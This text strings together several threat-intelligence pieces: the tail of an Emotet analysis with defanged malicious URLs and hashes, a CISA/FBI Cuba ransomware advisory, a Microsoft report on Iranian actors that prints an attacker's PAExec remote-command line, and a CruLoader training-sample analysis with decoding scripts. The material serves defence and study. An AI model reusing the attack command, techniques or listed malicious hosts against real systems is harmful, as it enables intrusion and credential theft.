downloading the content of all URLs only brings to the error page. Thus, retrieving the DLL file is failed. Checking all the URLs found with URLhaus Database shows that all the URLs were tagged as Emotet malware. Moreover, one of the samples that identically same macro code and PowerShell command pattern were found in JoeSandbox public submission. The result of the JoeSandbox detects the sample document as Emotet. ## 2.0 IOCs The following MD5 hashes are associated with this Emotet malware analysis: 1. 809928addbff4e5f9b7d9f55e0ac88e9 - file-20210122-QRN6275.doc 2. bde8abd3c29befafb3815d9b74785a3c - VBA file 3. 1542602628751eb95eecd6c00ff5cee8 - O66D.dll The following domain names are associated with this Emotet malware analysis: 1. 213.82.114.106 (Mail Server) 2. hxxp://www.pcsaha[.]com/wp-content/fG1tM/ 3. hxxp://rosvt[.]com/img/9h1Q/ 4. hxxp://skver[.]net/benjamin-moore-xha9o/t/ 5. hxxp://fultonandassociates[.]com/administrator/IUHeit/ 6. hxxp://zippywaytest.toppermaterial[.]com/wp-admin/wwbJ/ 7. hxxp://admin.toppermaterial[.]com/js/jGcwS/ 8. hxxp://notebook03[.]com/templates/G2Ay/
# StopRansomware: Cuba Ransomware ## SUMMARY Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources. The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known Cuba ransomware IOCs and TTPs associated with Cuba ransomware actors identified through FBI investigations, third-party reporting, and open-source reporting. This advisory updates the December 2021 FBI Flash: Indicators of Compromise Associated with Cuba Ransomware. Note: While this ransomware is known by industry as “Cuba ransomware,” there is no indication Cuba ransomware actors have any connection or affiliation with the Republic of Cuba. Since the release of the December 2021 FBI Flash, the number of U.S. entities compromised by Cuba ransomware has doubled, with ransoms demanded and paid on the increase. This year, Cuba ransomware actors have added to their TTPs, and third-party and open-source reports have identified a possible link between Cuba ransomware actors, RomCom Remote Access Trojan (RAT) actors, and Industrial Spy ransomware actors. FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of Cuba ransomware and other ransomware operations. To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA. This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:CLEAR information may be distributed without restriction. For more information on the Traffic Light Protocol, see cisa.gov/tlp/. ## TECHNICAL DETAILS ### Overview Since the December 2021 release of FBI Flash: Indicators of Compromise Associated with Cuba Ransomware, FBI has observed Cuba ransomware actors continuing to target U.S. entities in the following five critical infrastructure sectors: Financial Services, Government Facilities, Healthcare and Public Health, Critical Manufacturing, and Information Technology. As of August 2022, FBI has identified that Cuba ransomware actors have: - Compromised 101 entities, 65 in the United States and 36 outside the United States. - Demanded 145 million U.S. Dollars (USD) and received 60 million USD in ransom payments. ### Cuba Ransomware Actors’ Tactics, Techniques, and Procedures As previously reported by FBI, Cuba ransomware actors have leveraged the following techniques to gain initial access into dozens of entities in multiple critical infrastructure sectors: - Known vulnerabilities in commercial software [T1190] - Phishing campaigns [T1566] - Compromised credentials [T1078] - Legitimate remote desktop protocol (RDP) tools [T1563.002] After gaining initial access, the actors distributed Cuba ransomware on compromised systems through Hancitor—a loader known for dropping or executing stealers, such as Remote Access Trojans (RATs) and other types of ransomware, onto victims’ networks. Since spring 2022, Cuba ransomware actors have modified their TTPs and tools to interact with compromised networks and extort payments from victims. Cuba ransomware actors have exploited known vulnerabilities and weaknesses and have used tools to elevate privileges on compromised systems. According to Palo Alto Networks Unit 42, Cuba ransomware actors have: - Exploited CVE-2022-24521 in the Windows Common Log File System (CLFS) driver to steal system tokens and elevate privileges. - Used a PowerShell script to identify and target service accounts for their associated Active Directory Kerberos ticket. The actors then collected and cracked the Kerberos tickets offline via Kerberoasting [T1558.003]. - Used a tool, called KerberCache, to extract cached Kerberos tickets from a host’s Local Security Authority Server Service (LSASS) memory [T1003.001]. - Used a tool to exploit CVE-2020-1472 (also known as “ZeroLogon”) to gain Domain Administrative privileges [T1068]. This tool and its intrusion attempts have been reportedly related to Hancitor and Qbot. According to Palo Alto Networks Unit 42, Cuba ransomware actors use tools to evade detection while moving laterally through compromised environments before executing Cuba ransomware. Specifically, the actors leveraged a dropper that writes a kernel driver to the file system called ApcHelper.sys. This targets and terminates security products. The dropper was not signed; however, the kernel driver was signed using the certificate found in the LAPSUS NVIDIA leak. In addition to deploying ransomware, the actors have used “double extortion” techniques, in which they exfiltrate victim data, and (1) demand a ransom payment to decrypt it and, (2) threaten to publicly release it if a ransom payment is not made. ### Cuba Ransomware Link to RomCom and Industrial Spy Marketplace Since spring 2022, third-party and open-source reports have identified an apparent link between Cuba ransomware actors, RomCom RAT actors, and Industrial Spy ransomware actors: - According to Palo Alto Networks Unit 42, Cuba ransomware actors began using RomCom malware, a custom RAT, for command and control (C2). - Cuba ransomware actors may also be leveraging Industrial Spy ransomware. According to third-party reporting, suspected Cuba ransomware actors compromised a foreign healthcare company. The threat actors deployed Industrial Spy ransomware, which shares distinct similarities in configuration to Cuba ransomware. Before deploying the ransomware, the actors moved laterally using Impacket and deployed the RomCom RAT and Meterpreter Reverse Shell HTTP/HTTPS proxy via a C2 server [T1090]. - Cuba ransomware actors initially used their leak site to sell stolen data; however, around May 2022, the actors began selling their data on Industrial Spy’s online market for selling stolen data. RomCom actors have targeted foreign military organizations, IT companies, and food brokers and manufacturers. The actors copied legitimate HTML code from public-facing webpages, modified the code, and then incorporated it in spoofed domains [T1584.001], which allowed the RomCom actors to: - Host counterfeit Trojanized applications for: - SolarWinds Network Performance Monitor (NPM) - KeePass password manager - PDF Reader Pro (by PDF Technologies, Inc., not an Adobe Acrobat or Reader product) - Advanced IP Scanner software - Deploy the RomCom RAT as the final stage. ## INDICATORS OF COMPROMISE See tables 1 through 5 for Cuba ransomware IOCs that FBI obtained during threat response investigations as of late August 2022. In addition to these tables, see the publications in the References section below for aid in detecting possible exploitation or compromise. ### Table 1: Cuba Ransomware Associated Files and Hashes, as of Late August 2022 | File Name | File Path | File Hash | |------------------|-------------------------|-----------------------------------------------------------------------------------------------| | netping.dll | c:\windows\temp | SHA256: f1103e627311e73d5f29e877243e7ca203292f9419303c661aec57745eb4f26c | | shar.bat | | MD5: 4c32ef0836a0af7025e97c6253054bca<br>SHA256: a7c207b9b83648f69d6387780b1168e2f1eabd23ae6e162dd700ae8112f8b96c | | Psexesvc.exe | | SHA256: 141b2190f51397dbd0dfde0e3904b264c91b6f81febc823ff0c33da980b69944 | | 1.bat | | | | 216155s.dll | | | | 23246s.bat | | SHA256: 02a733920c7e69469164316e3e96850d55fca9f5f9d19a241fad906466ec8ae8 | | 23246s.dll | | SHA256: 0cf6399db55d40bc790a399c6bbded375f5a278dc57a143e4b21ea3f402f551f | | 23246st.dll | | SHA256: f5db51115fa0c910262828d0943171d640b4748e51c9a140d06ea81ae6ea1710 | | 259238e.exe | | | | 31-100.bat | | | | 3184.bat | | | | 3184.dll | | | | 45.dll | | SHA256: 857f28b8fe31cf5db6d45d909547b151a66532951f26cda5f3320d2d4461b583 | | 4ca736d.exe | | | | 62e2e37.exe | | | | 64.235.39.82 | | | | 64s.dll | | | | 7z.sfx | | | | 7zCon.sfx | | | | 7-zip.chm | | | | 82.ps1 | | | ### Table 2: Cuba Ransomware Associated Email Addresses, as of Late August 2022 | Email Provider | Email Addresses | |-------------------------------|--------------------------------------| | Cuba-supp[.]com | admin@cuba-supp[.]com | | Encryption-support[.]com | admin@encryption-support[.]com | | Mail.supports24[.]net | [email protected][.]net | ### Table 3: Cuba Ransomware Associated Jabber Address, as of Late August 2022 | Jabber Address | |-------------------------------| | cuba_support@exploit[.]im | ### Table 4: IP Addresses Associated with Cuba Ransomware, as of Late August 2022 Note: Some of these observed IP addresses are more than a year old. FBI and CISA recommend vetting or investigating these IP addresses prior to taking forward-looking actions such as blocking. - 193.23.244[.]244 - 144.172.83[.]13 - 216.45.55[.]30 - 94.103.9[.]79 - 149.255.35[.]131 - 217.79.43[.]148 - 192.137.101[.]46 - 154.35.175[.]225 - 222.252.53[.]33 - 92.222.172[.]39 - 159.203.70[.]39 - 23.227.198[.]246 - 92.222.172[.]172 - 171.25.193[.]9 - 31.184.192[.]44 - 10.13.102[.]1 - 185.153.199[.]169 - 37.120.247[.]39 - 10.13.102[.]58 - 192.137.100[.]96 - 37.44.253[.]21 - 10.133.78[.]41 - 192.137.100[.]98 - 38.108.119[.]121 - 10.14.100[.]20 - 192.137.101[.]205 - 45.164.21[.]13 - 103.114.163[.]197 - 193.34.167[.]17 - 45.32.229[.]66 - 103.27.203[.]197 - 194.109.206[.]212 - 45.86.162[.]34 - 104.217.8[.]100 - 195.54.160[.]149 - 45.91.83[.]176 - 107.189.10[.]143 - 199.58.81[.]140 - 64.52.169[.]174 - 108.170.31[.]115 - 204.13.164[.]118 - 64.235.39[.]82 - 128.31.0[.]34 - 209.76.253[.]84 - 79.141.169[.]220 - 128.31.0[.]39 - 212.192.241[.]230 - 84.17.52[.]135 - 131.188.40[.]189 - 213.32.39[.]43 - 86.59.21[.]38 - 141.98.87[.]124 - 216.45.55[.]3 ### Table 5: Cuba Bitcoin Wallets Receiving Payments, as of Late August 2022 - bc1q4vr25xkth35qslenqwd7aw020w85qrvlrhv7hc - bc1q5uc0fdnz0ve5pg4nl4upa9ly586t6wmnghfe7x - bc1q6rsj3cn37dngypu5kad9gdw5ykhctpwhjvun3z - bc1q6zkemtyyrre2mkk23g93zyq98ygrygvx7z2q0t - bc1q9cj0n9k2m282x0nzj6lhqjvhkkd4h95sewek83 - bc1qaselp9nhejc3safcq3vn5wautx6w33x0llk7dl - bc1qc48q628t93xwzljtvurpqhcvahvesadpwqtsza - bc1qgsuf5m9tgxuv4ylxcmx8eeqn3wmlmu7f49zkus - bc1qhpepeeh7hlz5jvrp50uhkz59lhakcfvme0w9qh - bc1qjep0vx2lap93455p7h29unruvr05cs242mrcah - bc1qr9l0gcl0nvmngap6ueyy5gqdwvm34kdmtevjyx - bc1qs3lv77udkap2enxv928x59yuact5df4t95rsqr - bc1qyd05q2m5qt3nwpd3gcqkyer0gspqx5p6evcf7h - bc1qzz7xweq8ee2j35tq6r5m687kctq9huskt50edv - bc1qvpk8ksl3my6kjezjss9p28cqj4dmpmmjx5yl3y - bc1qhtwfcysclc7pck2y3vmjtpzkaezhcm6perc99x - bc1qft3s53ur5uq5ru6sl3zyr247dpr55mnggwucd3 - bc1qp7h9fszlqxjwyfhv0upparnsgx56x7v7wfx4x7 ## MITRE ATT&CK TECHNIQUES Cuba ransomware actors use the ATT&CK techniques listed in Table 6. Note: For details on TTPs listed in the table, see FBI Flash Indicators of Compromise Associated with Cuba Ransomware. ### Table 6: Cuba Ransomware Actors ATT&CK Techniques for Enterprise Resource Development | Technique Title | ID | Use | |----------------------------------------------------------------------------------|----------|------------------------------------------------------------------------------------------| | Compromise Infrastructure: Domains | T1584.001| Cuba ransomware actors use compromised networks to conduct their operations. | ### Initial Access | Technique Title | ID | Use | |----------------------------------------------------------------------------------|----------|------------------------------------------------------------------------------------------| | Valid Accounts | T1078 | Cuba ransomware actors have been known to use compromised credentials to get into a victim’s network. | | External Remote Services | T1133 | Cuba ransomware actors may leverage external-facing remote services to gain initial access to a victim’s network. | | Exploit Public-Facing Application | T1190 | Cuba ransomware actors are known to exploit vulnerabilities in public-facing systems. | | Phishing | T1566 | Cuba ransomware actors have sent phishing emails to obtain initial access to systems. | ### Execution | Technique Title | ID | Use | |----------------------------------------------------------------------------------|----------|------------------------------------------------------------------------------------------| | Command and Scripting Interpreter: PowerShell | T1059.001| Cuba ransomware actors have used PowerShell to escalate privileges. | | Software Deployment Tools | T1072 | Cuba ransomware actors use Hancitor as a tool to spread malicious files throughout a victim’s network. | ### Privilege Escalation | Technique Title | ID | Use | |----------------------------------------------------------------------------------|----------|------------------------------------------------------------------------------------------| | Exploitation for Privilege Escalation | T1068 | Cuba ransomware actors have exploited ZeroLogon to gain administrator privileges. | ### Defense Evasion | Technique Title | ID | Use | |----------------------------------------------------------------------------------|----------|------------------------------------------------------------------------------------------| | Impair Defenses: Disable or Modify Tools | T1562.001| Cuba ransomware actors leveraged a loader that disables security tools within the victim network. | ### Lateral Movement | Technique Title | ID | Use | |----------------------------------------------------------------------------------|----------|------------------------------------------------------------------------------------------| | Remote Services Session: RDP Hijacking | T1563.002| Cuba ransomware actors used RDP sessions to move laterally. | ### Credential Access | Technique Title | ID | Use | |----------------------------------------------------------------------------------|----------|------------------------------------------------------------------------------------------| | Credential Dumping: LSASS Memory | T1003.001| Cuba ransomware actors use LSASS memory to retrieve stored compromised credentials. | | Steal or Forge Kerberos Tickets: Kerberoasting | T1558.003| Cuba ransomware actors used the Kerberoasting technique to identify service accounts linked to active directory. | ### Command and Control | Technique Title | ID | Use | |----------------------------------------------------------------------------------|----------|------------------------------------------------------------------------------------------| | Proxy: Manipulate Command and Control Communications | T1090 | Industrial Spy ransomware actors use HTTP/HTTPS proxy via a C2 server to direct traffic to avoid direct connection. | ## MITIGATIONS FBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Cuba ransomware: - Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud). - Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies. - Use longer passwords consisting of at least 8 characters and no more than 64 characters in length. - Store passwords in hashed format using industry-recognized password managers. - Add password user “salts” to shared login credentials. - Avoid reusing passwords. - Implement multiple failed login attempt account lockouts. - Disable password “hints.” - Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher. - Require administrator credentials to install software. - Require multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems. - Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching SonicWall firewall vulnerabilities and known exploited vulnerabilities in internet-facing systems. Note: SonicWall maintains a vulnerability list that includes Advisory ID, CVE, and mitigation. Their list can be found at psirt.global.sonicwall.com/vuln-list. - Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. - Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host. - Install, regularly update, and enable real-time detection for antivirus software on all hosts. - Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts. - Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege. - Disable unused ports. - Consider adding an email banner to emails received from outside your organization. - Disable hyperlinks in received emails. - Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). JIT sets a network-wide policy in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task. - Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally. - Maintain offline backups of data, and regularly maintain backup and restoration. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data. - Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. ## RESOURCES - Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts. - Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. - No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment. ## REPORTING FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with ransomware actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents immediately. Report to a local FBI Field Office, or CISA at us-cert.cisa.gov/report. ## DISCLAIMER The information in this report is being provided “as is” for informational purposes only. FBI and CISA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI or CISA. ## ACKNOWLEDGEMENTS FBI and CISA would like to thank BlackBerry, ESET, The National Cyber-Forensics and Training Alliance (NCFTA), and Palo Alto Networks for their contributions to this CSA. ## REFERENCES 1. Palo Alto Networks: Tropical Scorpius 2. Palo Alto Networks: Novel News on Cuba Ransomware - Greetings From Tropical Scorpius 3. BlackBerry: Unattributed RomCom Threat Actor Spoofing Popular Apps Now Hits Ukrainian Militaries 4. BlackBerry: RomCom Threat Actor Abuses KeePass and SolarWinds to Target Ukraine and Potentially the United Kingdom
# Iranian Targeting of IT Sector on the Rise Iranian threat actors are increasing attacks against IT services companies as a way to access their customers’ networks. This activity is notable because targeting third parties has the potential to exploit more sensitive organizations by taking advantage of trust and access in a supply chain. Microsoft has observed multiple Iranian threat actors targeting the IT services sector in attacks that aim to steal sign-in credentials belonging to downstream customer networks to enable further attacks. The Microsoft Threat Intelligence Center (MSTIC) and Digital Security Unit (DSU) assess this is part of a broader espionage objective to compromise organizations of interest to the Iranian regime. Until July 2021, Microsoft had observed relatively little history of Iranian actors attacking Indian targets. As India and other nations rise as major IT services hubs, more nation-state actors follow the supply chain to target these providers’ public and private sector customers around the world matching nation-state interests. To date this year, Microsoft has issued more than 1,600 notifications to over 40 IT companies in response to Iranian targeting, compared to 48 notifications in 2020, making this a significant increase from years past. The focus of several Iranian threat groups on the IT sector particularly spiked in the last six months – roughly 10-13% of our notifications were related to Iranian threat activity in the last six months, compared to two and a half percent in the six months prior. Most of the targeting is focused on IT services companies based in India, as well as several companies based in Israel and the United Arab Emirates. Although different in technique from other recent supply chain attacks, these attacks represent another example of how nation-state actors are increasingly targeting supply chains as indirect vectors to achieve their objectives. As with any observed nation-state actor activity, Microsoft has directly notified customers that have been targeted or compromised, providing them with the information they need to secure their accounts. Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or developing cluster of threat activity, allowing MSTIC to track it as a unique set of information until we reach a high confidence about the origin or identity of the actor behind the activity. Once it meets the criteria, a DEV is converted to a named actor. ## Observed Activity In July 2021, a group that MSTIC tracks as DEV-0228 and assesses as based in Iran compromised a single Israel-based IT company that provides business management software. Based on MSTIC’s assessment, DEV-0228 used access to that IT company to extend their attacks and compromise downstream customers in the defense, energy, and legal sectors in Israel. In September, we detected a separate Iranian group, DEV-0056, compromising email accounts at a Bahrain-based IT integration company that works on IT integration with Bahrain Government clients, who were likely DEV-0056’s ultimate target. DEV-0056 also compromised various accounts at a partially government-owned organization in the Middle East that provides information and communications technology to the defense and transportation sectors, which are targets of interest to the Iranian regime. DEV-0056 maintained persistence at the IT integration organization through at least October. MSTIC detected a significant increase in these and other Iranian groups targeting IT companies based in India beginning in mid-August. From mid-August to late September, we issued 1,788 nation-state notifications (NSNs) across Iranian actors to enterprise customers in India, roughly 80% of which were to IT companies, an exponential rise from the 10 notifications we issued the previous three years in response to previous Iranian targeting. Iranian cyber actors have rarely targeted India, and the lack of pressing geopolitical issues that would have prompted such a shift suggests that this targeting is for indirect access to subsidiaries and clients outside India. ## Credential Theft Leads to Downstream Compromise DEV-0228 dumped credentials from the on-premises network of an IT provider based in Israel in early July. Over the next two months, the group compromised at least a dozen other organizations, several of which have strong public relations with the compromised IT company. MSTIC assesses at least four of those victims were compromised using the acquired credentials and access from the IT company in the July and August attacks. Here are two such examples: - DEV-0228 operators compromised the on-premises network of a law firm in Israel in August through an account managed by the IT provider via PAExec (a custom version of the Windows Sysinternals tool PsExec). ``` Pa.exe \\###.##.#.## -u {user name}\{domain name} -p "********" -s cmd.exe ``` - DEV-0228 operators also compromised a defense company in Israel by signing into an email account provisioned for the same IT provider on the victim’s Office 365 tenant. The attackers likely obtained those credentials from the initial compromise of the IT provider in July. ## Custom Implant to Establish Persistence DEV-0228 operators used a custom implant to establish persistence on victim hosts and then dumped LSASS. The implant is a custom remote access Trojan (RAT) that uses Dropbox as a command and control (C2) channel and is disguised as RuntimeBroker.exe or svchost.exe. Operators staged their tools in a C:\Windows\TAPI directory on the victim hosts: ``` C:\Windows\TAPI\lsa.exe C:\Windows\TAPI\pa.exe C:\Windows\TAPI\pc.exe (procdump) C:\Windows\TAPI\Rar.exe ``` Microsoft will continue to monitor DEV-0228 and DEV-0056 activity and implement protections for our customers. The current detections, advanced detections, and IOCs in place across our security products are detailed below. ## Indicators of Compromise (IOCs) | Type | Indicator | |---------------|---------------------------------------------------------------------------| | svchost.exe | 2a1044e9e6e87a032f80c6d9ea6ae61bbbb053c0a21b186ecb3b812b49eb03b7 | | svchost.exe | 9ab7e99ed84f94a7b6409b87e56dc6e1143b05034a5e4455e8c555dbbcd0d2dd | | lsa.exe | 43109fbe8b752f7a9076eaafa417d9ae5c6e827cd5374b866672263fdebd5ec3 | | wdmsvc.exe | 18a072ccfab239e140d8f682e2874e8ff19d94311fc8bb9564043d3e0deda54b | | Pa.exe | ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb (PAExec.exe) | ## Recommended Defenses The following guidance can mitigate the techniques described in the threat activity: - Enable multi-factor authentication to mitigate compromised credentials. - Use passwordless solutions like Microsoft Authenticator to secure accounts. - Review and enforce recommended Exchange Online access policies. - Block all incoming traffic from anonymizing services where possible. - Turn on the following attack surface reduction rule to block or audit activity associated with this threat: - Block credential stealing from the Windows local security authority subsystem (lsass.exe). ## Detections Microsoft 365 Defender detects threat components as the following malware: - Backdoor:MSIL/ShellClient.A - Backdoor:MSIL/ShellClient.A!dll - Trojan:MSIL/Mimikatz.BA!MTB Alerts with the following titles in the security center can indicate threat activity on the network: - DEV-0228 actor activity - DEV-0056 actor activity The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity, but they are listed here for reference: - Suspicious connection to remote service - Possible command-and-control activity - Suspicious access to LSASS service - Sensitive credential memory read ## Advanced Hunting Queries The indicators of compromise (IoCs) included in this blog post can be used by Microsoft Sentinel customers for detection purposes using the queries detailed below. ### Command Line Activity November 2021 This hunting query looks for process command line activity related to observed activity. The query uses additional data from Microsoft Defender for Endpoint to generate a risk score associated with each result. Hosts with higher risk events should be investigated first. ### FilePath/Hashes Query November 2021 This hunting query looks for file paths/hashes related to observed activity as detailed in this blog. In addition to these queries, there are equivalent queries that use the Advanced SIEM Information Model (ASIM) to look for the same activity. To locate malicious activity related to the activity described in this blog, customers can run the following queries in Microsoft 365 Defender or Microsoft Defender for Endpoint. ### Identify Use of PAExec in Your Environment Look for PAExec.exe process executions in your environment. ### Identify Files Created in the Windows\Tapi Directory Look for files created in the Windows\Tapi directory. ### Suspicious PowerShell Commands Look for suspicious PowerShell process execution.
# CruLoader Analysis For the Zero2Auto course, @0verflow and @VKIntel developed a sample to test our skills. This write-up will be my analysis of this brand new sample! ## Context During an ongoing investigation, one of our IR team members managed to locate an unknown sample on an infected machine belonging to one of our clients. We cannot pass that sample onto you currently as we are still analyzing it to determine what data was exfiltrated. However, one of our backend analysts developed a YARA rule based on the malware packer, and we were able to locate a similar binary that seemed to be an earlier version of the sample we’re dealing with. Would you be able to take a look at it? We’re all hands on deck here, dealing with this situation, and so we are unable to take a look at it ourselves. We’re not too sure how much the binary has changed, though developing some automation tools might be a good idea, in case the threat actors behind it start utilizing something like Cutwail to push their samples. I have uploaded the sample alongside this email. Thanks, and Good Luck! ## 1st Stage OK so first we got a zip, containing a PE File. Let’s do some static analysis to see what we are dealing with: From what I can see, this is a 32-bit PE File, containing an unknown resource in RCDATA. Let’s load IDA to see what’s going on: Don’t want the malware analyst to see what library you use? Introducing: String Obfuscation. Luckily for us, the routine is fairly basic. It’s a ROT13 algorithm with a custom alphabet: ```python import string dict = string.ascii_letters + '01234567890./=' l_encr = [".5ea5/QPY4//", "pe51g5Ceb35ffn", "I9egh1/n//b3", "t5gG8e514pbag5kg", "E514Ceb35ffz5=bel", "Je9g5Ceb35ffz5=bel", "I9egh1/n//b3rk", "F5gG8e514pbag5kg", "E5fh=5G8e514", "s9a4E5fbhe35n", "yb14E5fbhe35", "F9m5b6E5fbhe35", "yb3.E5fbhe35"] for encr in l_encr: decr = "" for char in encr: pos = dict.find(char) decr += dict[(pos+13)%len(dict)] print(f"Encr : {encr} --> {decr}") ``` Remember the unknown resource in RCDATA we talked about earlier? It’s time for it to rise and shine. Once the resource is loaded, can you see what’s waiting for us next? You got it right, it’s RC4! It’s pretty easy to spot with the key beginning at the 12th byte of the data and is 16 bytes long. Once the resource is decrypted, a new process of itself is created in a suspended state. The decrypted executable is written to memory and execution of the process created is resumed. In case you didn’t spot it, it’s a classical case of Process Hollowing. There is now a brand new executable to analyze! ## 2nd Stage This part is a little more complicated than the one before. It’s relying heavily on CRC32 hashing for all sorts of things like: - Check if it’s running in svchost - Check any blacklisted processes - Looping through all running processes, hashing their names and comparing it to a hardcoded array. Blacklisted processes are: “wireshark.exe”, “x32dbg.exe”, “x64dbg.exe” and “ProcessHacker.exe” - Load API calls This one is a little bit more tricky. There is a function that takes a CRC32 hash as a parameter. The hash is matching the wanted API call. `0x8436F795` corresponds to `IsDebuggerPresent()` for example. But there are a lot of calls to this function and a lot of APIs in kernel32.dll, ntdll.dll, and wininet.dll. So if it’s not fun to do, let’s have a script doing it for us! I made an IDA script that resolves all API calls, making the job way easier now! Important strings are encrypted with rol 4 + a 1-byte XOR Key. The following CyberChief recipe can be used to decrypt them. With all these API Calls, our beloved sample will now create a new svchost process and a new thread inside of it. The trouble with execution passed with `CreateRemoteThread` is that the thread doesn’t exist yet, and you won’t be fast enough to intercept it. My tip is to set a breakpoint on the entry point of the thread (the `ebx` value here). When the thread runs, the debugger will stop exactly here. There is now a brand new executable to analyze! (I’m lying, it’s the 2nd stage but with another entry point.) ## 3rd Stage This stage is all about the internet. It decrypts the config URL (more on that later on), fetches it (it contains another URL), fetches the second URL but this one is a `.jpg`, so it saves it under `C:\Users\USER\AppData\Local\Temp\cruloader\output.jpg`. The custom UserAgent ‘cruloader’ could be used for detection. When everything is done, a new svchost process is created (yes, again) and the `output.jpg` is decoded and written to the new process memory. Injection is done with `ResumeThread`. ## 4th Stage Here we are. I promise this is the final stage. The final function is the hardest. I made a flowchart of everything we saw. I feel like it helps to understand what is going on. And that’s it! Oh wait… The IR guy wanted some kind of automation, isn’t it? Let’s give him what he wants! Let’s extract that config. Can all of this hard work be automated and take like 3 seconds? Sadly for me… It can, so I did it. First the objective: recover the first URL. Not the 2nd because you should not reach out to unknown servers without proper protection (TOR, VPN, proxy, public WIFI… WHATEVER). Even if this is 100% safe (a reddit URL), I prefer to always keep this routine. A couple of problems: - The 2nd stage is RC4 encrypted but we know the location and where the key is. - There is no way (to my understanding) to predict the offset of the data we want. - Every string is encrypted with a different XOR key (but is always 1 byte). - Rotate Left is always 4, but can be 2 or 5 in another sample. So how did I do it? Even if this is just fiction, I wanted to have something that would work for any similar sample, so the brute force is kind of big. First, the RC4 key and data are recovered from the 1st stage: ```python pe = pefile.PE(file) for entry in pe.DIRECTORY_ENTRY_RESOURCE.entries: if str(entry.name) == "RC_DATA" or "RCData": new_dirs = entry.directory for res in new_dirs.entries: data_rva = res.directory.entries[0].data.struct.OffsetToData size = res.directory.entries[0].data.struct.Size data = pe.get_memory_mapped_image()[data_rva:data_rva+size] key = data[12:27] return rc4_decrypt(key, data[28:]) ``` And I dumped all of the `.rdata` section of the 2nd stage and brute-forced it with RotateLeft and XOR key until I found a URL: ```python for rotAmount in range(1,10): # Brute force the ROT amount rotated = rot(data, rotAmount) for xorKey in range(300): # Brute force the XOR key result = "" for b in rotated: result += chr(b ^ xorKey) if "http" in result: pattern = "https?://(www.)?[-a-zA-Z0-9@:%._+~#=]{1,256}.[a-zA-Z0-9()]{1,6}b([-a-zA-Z0-9()@:%_+.~#?&//=]*)?" # hope you like my tiny regex config = re.search(pattern, result) ``` That might not be the most efficient way to do it, but still faster than opening IDA/x64dbg to check for the correct offset. The full code is available here. Now the IR guy got everything he wanted! Case solved. And that’s it, we solved all of the mysteries behind CruLoader. I hope you liked this post and had fun reading it. I tried not to put too many screenshots as otherwise the post would look like a gallery and I don’t think this is enjoyable. Also, most of the time I put IDA pseudocode because they are smaller than the graph view in Assembly, but I prefer working with assembly (yeah I’m doing this just for you). Let me know if you find that something can be enhanced (I’m sure it can). Thanks again @0verflow and @VKIntel for this cool sample. See you soon for another case!
